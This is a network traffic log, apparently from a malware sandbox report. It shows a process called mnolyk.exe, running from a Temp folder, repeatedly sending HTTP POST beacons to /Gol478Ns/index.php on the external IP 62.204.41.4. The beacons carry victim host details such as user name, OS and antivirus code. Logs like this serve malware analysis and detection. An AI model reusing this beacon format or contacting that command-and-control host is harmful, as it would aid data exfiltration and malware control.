Feb 8, 2023 21:32:30.770420074 CET	466	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:30.833966017 CET	467	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.3	49969	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:31.022856951 CET	467	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:31.088211060 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.3	49970	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:31.302961111 CET	468	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:31.366622925 CET	469	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.3	49971	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:31.549737930 CET	469	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:31.611403942 CET	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49729	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:23.382591963 CET	228	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:23.446644068 CET	228	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.3	49972	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:32.067364931 CET	470	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:32.132452011 CET	471	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.3	49973	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:32.423801899 CET	471	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:32.487102985 CET	472	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.3	49974	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:32.751955986 CET	472	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:32.816646099 CET	473	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.3	49975	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:35.139303923 CET	473	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:35.204358101 CET	474	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.3	49976	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:36.257085085 CET	474	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:36.324114084 CET	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.3	49977	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:36.501859903 CET	475	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:36.565764904 CET	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.3	49978	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:36.743998051 CET	476	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:36.808079958 CET	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.3	49979	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:36.980540037 CET	477	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:37.043481112 CET	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.3	49980	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:37.216068983 CET	478	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:37.279519081 CET	479	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.3	49981	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:37.449608088 CET	479	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:37.512573004 CET	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49730	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:23.623023987 CET	229	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:23.688044071 CET	229	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.3	49982	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:37.682518959 CET	480	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:37.745387077 CET	481	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.3	49983	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:37.924287081 CET	481	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:37.988426924 CET	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.3	49984	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:38.166013956 CET	482	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:38.232606888 CET	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.3	49985	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:38.403501034 CET	483	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:38.467078924 CET	484	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.3	49986	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:38.636974096 CET	484	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:38.702825069 CET	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.3	49987	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:38.868567944 CET	485	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:38.931410074 CET	486	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.3	49988	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
